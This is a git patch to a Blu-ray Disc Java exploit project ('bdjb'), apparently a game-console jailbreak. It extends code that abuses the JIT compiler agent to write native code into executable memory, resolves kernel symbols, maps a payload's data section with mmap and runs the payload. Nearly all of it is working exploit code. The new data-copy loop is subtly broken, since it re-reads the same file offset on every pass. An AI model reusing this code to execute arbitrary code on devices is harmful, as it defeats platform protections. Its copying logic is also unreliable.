From 560014c17d430e16481649b3b266c48c57831b86 Mon Sep 17 00:00:00 2001 From: Andy Nguyen Date: Wed, 27 Oct 2021 21:04:09 +0200 Subject: [PATCH] Support data section in payload and implement errno. --- com/bdjb/API.java | 22 +++++++++---- com/bdjb/Exploit.java | 2 +- com/bdjb/JIT.java | 77 ++++++++++++++++++++++++++++++++++++++----- payload/linker.x | 3 ++ payload/payload.c | 7 ++-- 5 files changed, 94 insertions(+), 17 deletions(-) diff --git a/com/bdjb/API.java b/com/bdjb/API.java index 7e6dcb6..731fda7 100644 --- a/com/bdjb/API.java +++ b/com/bdjb/API.java @@ -34,6 +34,7 @@ public final class API { private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; private static final String SETJMP_SYMBOL = "setjmp"; private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; + private static final String ERROR_SYMBOL = "__error"; private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J"; @@ -65,6 +66,7 @@ public final class API { private long JVM_NativePath; private long setjmp; private long __Ux86_64_setcontext; + private long __error; private boolean jdk11; @@ -127,7 +129,7 @@ public final class API { private void initSymbols() { JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL); if (JVM_NativePath == 0) { - throw new IllegalStateException("JVM_NativePath symbol could not be found."); + throw new IllegalStateException("Could not find JVM_NativePath."); } __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); @@ -145,7 +147,7 @@ public final class API { } if (__Ux86_64_setcontext == 0) { - throw new IllegalStateException("__Ux86_64_setcontext symbol could not be found."); + throw new IllegalStateException("Could not find __Ux86_64_setcontext."); } if (jdk11) { @@ -156,13 +158,17 @@ public final class API { dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); } if (Java_java_lang_reflect_Array_multiNewArray == 0) { - throw new IllegalStateException( - "Java_java_lang_reflect_Array_multiNewArray symbol could not be found."); + throw new IllegalStateException("Could not find Java_java_lang_reflect_Array_multiNewArray."); } setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); if (setjmp == 0) { - throw new IllegalStateException("setjmp symbol could not be found."); + throw new IllegalStateException("Could not find setjmp."); + } + + __error = dlsym(LIBKERNEL_MODULE_HANDLE, ERROR_SYMBOL); + if (__error == 0) { + throw new IllegalStateException("Could not find __error."); } } @@ -218,7 +224,7 @@ public final class API { } } - throw new IllegalStateException("Native method could not be installed."); + throw new IllegalStateException("Could not install native method."); } private void buildContext( @@ -345,6 +351,10 @@ public final class API { return call(func, (long) 0); } + public int errno() { + return read32(call(__error)); + } + public long dlsym(long handle, String symbol) { int oldHandle = (int) RTLD_DEFAULT; try { diff --git a/com/bdjb/Exploit.java b/com/bdjb/Exploit.java index 48c5d5c..407a4d4 100644 --- a/com/bdjb/Exploit.java +++ b/com/bdjb/Exploit.java @@ -80,7 +80,7 @@ class Exploit implements Runnable { socket.close(); Screen.println("[*] Executing payload..."); - long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin"); + long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin", 0x4000); int ret = (int) api.call(payload, api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym")); Screen.println("[+] Result: " + ret); } catch (Exception e) { diff --git a/com/bdjb/JIT.java b/com/bdjb/JIT.java index 4a3b967..a365462 100644 --- a/com/bdjb/JIT.java +++ b/com/bdjb/JIT.java @@ -19,6 +19,18 @@ public final class JIT { public static final int PAGE_SIZE = 0x4000; public static final int ALIGNMENT = 0x100000; + public static final int PROT_NONE = 0x0; + public static final int PROT_READ = 0x1; + public static final int PROT_WRITE = 0x2; + public static final int PROT_EXEC = 0x4; + + public static final int MAP_SHARED = 0x1; + public static final int MAP_PRIVATE = 0x2; + public static final int MAP_FIXED = 0x10; + public static final int MAP_ANONYMOUS = 0x1000; + + public static final long MAP_FAILED = -1; + private static final int CHUNK_SIZE = 0x30; private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; @@ -46,6 +58,7 @@ public final class JIT { private final API api; private long sceKernelGetModuleInfo; + private long mmap; private long read; private long write; private long BufferBlob__create; @@ -65,15 +78,23 @@ public final class JIT { } private void init() { + initSymbols(); + initJitHelpers(); + } + + private void initSymbols() { sceKernelGetModuleInfo = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); + mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "mmap"); read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) { - throw new IllegalStateException("Symbols could not be found."); + throw new IllegalStateException("Could not find symbols."); } + } + private void initJitHelpers() { long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE); api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE); api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE); @@ -92,7 +113,7 @@ public final class JIT { i++; } if (i == bdjSize) { - throw new IllegalStateException("BufferBlob::create function could not be found."); + throw new IllegalStateException("Could not find BufferBlob::create."); } BufferBlob__create = bdjBase + i - 0x21; @@ -106,16 +127,28 @@ public final class JIT { i++; } if (i == bdjSize) { - throw new IllegalStateException("Compiler agent socket could not be found."); + throw new IllegalStateException("Could not find compiler agent socket."); } long compilerAgentSocketOpcode = bdjBase + i - 0x10; compilerAgentSocket = api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); } - public long mapPayload(String path) throws Exception { + private long align(long x, long align) { + return (x + align - 1) & ~(align - 1); + } + + public long mapPayload(String path, long dataSectionOffset) throws Exception { RandomAccessFile file = new RandomAccessFile(path, "r"); + if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) { + throw new IllegalArgumentException("Ddata section offset is not page aligned."); + } + + if (dataSectionOffset > file.length()) { + throw new IllegalArgumentException("Data section offset is too big."); + } + // TODO: Currently we just use maximum size so that the address is predictable. long size = MAX_CODE_SIZE; // long size = file.length() + 0x88 + ALIGNMENT - 1; @@ -123,22 +156,27 @@ public final class JIT { // throw new IllegalArgumentException("Payload is too big."); // } + // Allocate JIT memory. long name = api.malloc(4); api.strcpy(name, "jit"); long blob = api.call(BufferBlob__create, name, size); - long code = blob + api.read32(blob + 0x20); api.free(name); + if (blob == 0) { + throw new IllegalStateException("Could not allocate JIT memory."); + } + long code = blob + api.read32(blob + 0x20); - long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1); + long address = align(code, ALIGNMENT); long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE); long response = api.malloc(API.INT8_SIZE); - for (long i = 0; i < file.length(); i += CHUNK_SIZE) { + // Copy .text section. + for (long i = 0; i < dataSectionOffset; i += CHUNK_SIZE) { byte[] chunk = new byte[CHUNK_SIZE]; file.seek(i); - file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); + file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, CHUNK_SIZE)); api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE); api.memcpy(request + 0x00, chunk, CHUNK_SIZE); @@ -156,6 +194,29 @@ public final class JIT { api.free(response); api.free(request); + // Map the .data section as RW. + if (api.call( + mmap, + address + dataSectionOffset, + align(file.length() - dataSectionOffset, PAGE_SIZE), + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, + -1, + 0) + == MAP_FAILED) { + throw new IllegalStateException("Could not map data section."); + } + + // Copy .data section. + for (long i = dataSectionOffset; i < file.length(); i += CHUNK_SIZE) { + byte[] chunk = new byte[CHUNK_SIZE]; + + file.seek(dataSectionOffset); + int read = file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); + + api.memcpy(address + i, chunk, read); + } + return address; } } diff --git a/payload/linker.x b/payload/linker.x index c86f85a..4dc2a34 100644 --- a/payload/linker.x +++ b/payload/linker.x @@ -6,4 +6,7 @@ ENTRY(_start) SECTIONS { . = 0x916300000; + .text : { *(.text) } + . = 0x916304000; + .data : { *(.data) } } diff --git a/payload/payload.c b/payload/payload.c index f466f58..66bfa6a 100644 --- a/payload/payload.c +++ b/payload/payload.c @@ -4,6 +4,9 @@ typedef int32_t SceKernelModule; -int payload(int (* sceKernelDlsym)(SceKernelModule handle, const char *symbol, void **addrp)) { - return 1337; +int x = 1337; + +int payload(int (*sceKernelDlsym)(SceKernelModule handle, const char *symbol, + void **addrp)) { + return x; }